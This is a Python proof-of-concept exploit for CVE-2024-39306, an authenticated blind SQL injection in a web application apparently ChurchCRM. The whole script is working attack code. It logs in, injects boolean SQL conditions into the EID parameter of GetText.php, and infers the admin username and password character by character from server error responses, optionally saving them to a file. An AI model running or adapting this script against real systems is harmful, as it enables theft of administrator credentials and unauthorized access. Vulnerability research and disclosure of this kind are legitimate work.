README.md
Rendering markdown...
#!/bin/python3
import requests
import argparse
import sys
import time
import string
import urllib.parse
LOG_SIGN = '\033[92m[+]\033[0m '
def authenticate(username: str, password: str, url: str) -> str:
login_url = f'{url}/session/begin'
data = {
'User': username,
'Password': password,
}
response = requests.post(login_url, data=data, allow_redirects=False)
if response.status_code == 302:
cookie = response.headers.get('Set-Cookie', '').split(';')[0]
return cookie
else:
raise Exception(f'Unexpected status code returned from {login_url}: {response.status_code}')
def get_column_value(cookie: str, url: str, column: str, condition: str, verbose: bool) -> str:
target_url = f'{url}/GetText.php'
# Find the length of the column value
sqli_find_length = '1 AND (SELECT 1 FROM user_usr WHERE {condition} AND LENGTH({column}) = {length})'
value_length = 0
for length in range(1, 100):
response = requests.get(f'{target_url}?EID={urllib.parse.quote(sqli_find_length.format(condition=condition, column=column, length=length))}', headers={'Cookie': cookie}, proxies={'http':'http://localhost:8080'})
if response.status_code == 500: # Length found
value_length = length
break
time.sleep(0.5)
if verbose:
print(f"\n{LOG_SIGN}Found lenght {value_length} for {'username' if column == 'usr_Username' else 'password'}")
# Find the characters with a Key Insensitive query
sqli_find_value = "1 AND (SELECT 1 FROM user_usr WHERE {condition} AND {column} LIKE '{prefix}%')"
value = ''
while len(value) < value_length:
for char in string.printable:
response = requests.get(f'{target_url}?EID={urllib.parse.quote(sqli_find_value.format(condition=condition, column=column, prefix=value + char))}', headers={'Cookie': cookie}, proxies={'http':'http://localhost:8080'})
if response.status_code == 500:
value += char
break
time.sleep(0.5)
if verbose:
print(f"\n{LOG_SIGN}Found key insensitive value {value} for {'username' if column == 'usr_Username' else 'password'}")
# Check the characters with Key Sensitive query
sqli_find_char = "1 AND (SELECT 1 FROM user_usr WHERE {condition} AND BINARY SUBSTRING({column}, {index}, 1) = '{char}')"
for index in range(1, value_length + 1):
if value[index - 1] not in string.ascii_letters:
continue
response = requests.get(f'{target_url}?EID={urllib.parse.quote(sqli_find_char.format(condition=condition, column=column, index=index, char=value[index - 1].swapcase()))}', headers={'Cookie': cookie}, proxies={'http':'http://localhost:8080'})
if response.status_code == 500:
value = value[:index - 1] + value[index - 1].swapcase() + value[index:]
time.sleep(0.5)
return value
def exploit_SQLi(cookie: str, url: str, output_file: str = None, verbose: bool = False) -> None:
if verbose:
print(f'\n{LOG_SIGN}Attack started on {url}')
admin_username = get_column_value(cookie, url, 'usr_Username', 'usr_Admin = 1', verbose)
admin_password = get_column_value(cookie, url, 'usr_Password', f"usr_Admin = 1 AND usr_Username = '{admin_username}'", verbose)
if verbose:
print(f'\n{LOG_SIGN}Results\n\nAdmin username: {admin_username}\nAdmin password: {admin_password}')
if output_file:
with open(output_file, 'w') as f:
f.write(f'Admin username: {admin_username}\nAdmin password: {admin_password}')
print(f'\n{LOG_SIGN}Results written to {output_file}')
def main(username: str, password: str, url: str, verbose: bool = False, output_file: str = None) -> None:
try:
cookie = authenticate(username, password, url)
exploit_SQLi(cookie, url, output_file, verbose)
except Exception as e:
sys.exit(f'Error: Exploit failed\n\n{e}')
if __name__ == "__main__":
parser = argparse.ArgumentParser(
prog='CVE-2024-39306.py',
description='Proof-of-Concept script for CVE-2024-39306. This script exploits an authenticated SQL injection vulnerability.',
epilog='For more details, refer to the vulnerability explanation at https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-39306'
)
parser.add_argument('-u', '--username', required=True, help='Username for authentication')
parser.add_argument('-p', '--password', required=True, help='Password for authentication')
parser.add_argument('-b', '--baseUrl', required=True, help='Base URL of the site. Example: https://mydomain/churchcrm')
parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
parser.add_argument('-o', '--output', metavar='OUTPUT_FILE', help='Output file for results')
arguments = parser.parse_args()
main(arguments.username, arguments.password, arguments.baseUrl, arguments.verbose, arguments.output)